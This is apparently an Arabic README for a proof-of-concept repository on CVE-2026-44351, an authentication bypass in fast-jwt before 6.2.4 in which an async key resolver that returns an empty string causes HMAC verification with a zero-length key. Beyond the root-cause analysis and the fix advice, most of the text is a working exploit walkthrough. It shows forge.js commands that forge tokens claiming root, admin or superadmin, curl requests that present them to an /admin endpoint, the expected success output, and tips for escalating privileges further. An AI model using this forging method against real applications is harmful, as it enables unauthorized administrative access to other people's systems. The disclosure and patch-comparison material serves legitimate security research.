
إثبات مفهوم لـ CVE-2026-44351، وهو تجاوز للمصادقة في fast-jwt <6.2.4 حيث يسمح مفتاح HMAC الفارغ للمهاجمين بتزوير رموز JWT عشوائية تُقبل كصحيحة.
fast-jwtPoC لـ تجاوز المصادقة (auth bypass) في fast-jwt (الإصدارات الأقدم من
6.2.4) الذي يسمح لأي مهاجم غير مُصادَق بتزوير JWTs عشوائية وأن
تُقبل كمصادقة من قبل التطبيق الهدف.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (التحقق غير الصحيح من المفاتيح) / CWE-287 (المصادقة غير الصحيحة) / CWE-326 (قوة التشفير غير الكافية) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vulnerable | fast-jwt < 6.2.4 (تم التحقق مقابل 6.2.3) |
| Parche | [email protected] — يرفض مفاتيح HMAC الفارغة بـ FAST_JWT_INVALID_KEY |
📄 وثائق تقنية مفصلة (root cause مع الكود الفعلي، تشريح الهجوم، تحليل التصحيح):
docs/CVE-2026-44351.md
يسمح fast-jwt بتمرير دالة غير متزامنة كحل للمفتاح (key) — النمط
النموذجي عند التكامل مع خادم JWKS:
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
عندما لا يكون kid الخاص بالرمز الوارد موجودًا، تُرجع هذه النمط ''. يحوّل fast-jwt
السلسلة الفارغة إلى Buffer بطول صفر (Buffer.alloc(0))، ويسلّمها
إلى crypto.createSecretKey (يقبلها Node بصمت) ويتحقق من توقيع الرمز
باستخدام HMAC بمفتاح فارغ.
بما أن HMAC-SHA256(key='', input='<header>.<payload>') قابل للحساب من قبل أي شخص، فإن
المهاجم لا يحتاج إلى معرفة السر الحقيقي: يزوّر رمزًا بالمطالبات التي يريدها
(sub، admin، roles، scopes، iss، aud، …) ويعيده المدقق
كـ مصادق عليه.
يؤثر فقط على مسار حل المفتاح غير المتزامن (دالة). الإعداد المتزامن
key: ''يُرفض بشكل صحيح لأنcreateVerifierيقطع الدائرة على القيم falsy.
يقع الخلل في src/verifier.js. في تدفق async key resolver:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
ويتم التحقق من التوقيع باستخدام src/crypto.js:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) يعمل، وHMAC الخاص بالمدخل قابل للحساب
من قبل المهاجم، ويُقبل الرمز المزوّر.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ يقبل | ✅ يقبل | ✅ يقبل |
(d, cb) => cb(null, '') | (default) | ✅ يقبل | ✅ يقبل | ✅ يقبل |
async d => keys[d.header.kid] || '' | (default) | ✅ يقبل | ✅ يقبل | ✅ يقبل |
async () => '' | ['HS256','HS384','HS512'] | ✅ يقبل | ✅ يقبل | ✅ يقبل |
async () => '' | ['HS256','RS256'] | ✅ يقبل | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
يُنفَّذ الهجوم يدويًا: الأداة الوحيدة هي forge.js، التي تصنع JWT
الموقّع بمفتاح فارغ. الإرسال والتحقق يتمّان باستخدام curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Docker يخدم فقط لتشغيل target الضعيف، وليس للاستغلال. بقية الهجوم يدوي.
حدّد JWT حقيقيًا من التطبيق (مثلًا من طلب مُصادَق) وافحص header/payload الخاص به دون التحقق من التوقيع:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
نقاط يجب التحقق منها:
kid → التطبيق يحل المفاتيح عبر kid (احتمال JWKS).kid مكسورًا بـ 401 لكنه لا يُظهر
invalid algo/invalid key، فمن المحتمل أن resolver يقوم بـ keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
يقوم السكربت دائمًا بتوقيع الـ header {alg, typ, kid} والـ payload المختارين باستخدام
HMAC-SHA* بـ مفتاح فارغ (secret: "")، دون معرفة السر الحقيقي للتطبيق.
مع الرمز المنسوخ (أو المقروء من الملف):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
الاستجابة المتوقعة إذا كان الهدف ضعيفًا:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| الحالة | الأمر | النتيجة |
|---|---|---|
| بدون رمز | curl -si http://localhost:3000/admin | 401 Unauthorized |
| رمز غير صالح | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| رمز مزوّر | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + وصول admin |
التجاوز قابل للتكرار بتغيير المطالبات وتكرار الخطوة 2–3 (ما بعد الاستغلال:
التصعيد إلى role، scopes، sub آخر، إلخ).
مقارنة سريعة بين الإصدار الضعيف والمُصحَّح:
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
أيضًا في Docker:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] أو أعلى: prepareKeyOrSecret يرفض مفاتيح HMAC
بطول صفر بـ FAST_JWT_INVALID_KEY.''/Buffer.alloc(0) كـ fallback:
أرجع undefined/null وتعامل مع تلك الحالة كخطأ في حل المفتاح.cache: false
خلال الانتقال: ذاكرة التحقق المؤقتة (افتراضيًا 1000 مدخل / 600s TTL)
قد تحتفظ برموز مزوّرة قُبلت سابقًا.يعرض الخادم أيضًا وحدة تحكم إدارية (public/) بحيث يظهر
الاستغلال على تطبيق حقيقي: تسجيل دخول مؤسسي، لوحة تحكم بالمطالبات، لوحة
وصول admin وعرض Red Team مدمج.
node server.js # o de nuevo: docker compose up -d --build server
open http://localhost:3000
حسابات تجريبية:
| Password | Rol | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
يحاكي التطبيق SaaS شرعيًا:
POST /login يصدر JWT موقّعًا بـ السر الحقيقي (kid: legit-kid) عبر
createSigner — الـ signer غير ضعيف.localStorage وتضرب GET /admin، الذي يستخدم
verifier الضعيف.'' في JS خالص، RFC 2104 — WebCrypto لا يقبل مفاتيح بطول صفر) أو
لصق رمز من node forge.js واختبار /admin. مع admin: true يستجيب
200 OK → تجاوز مؤكد دون مغادرة المتصفح.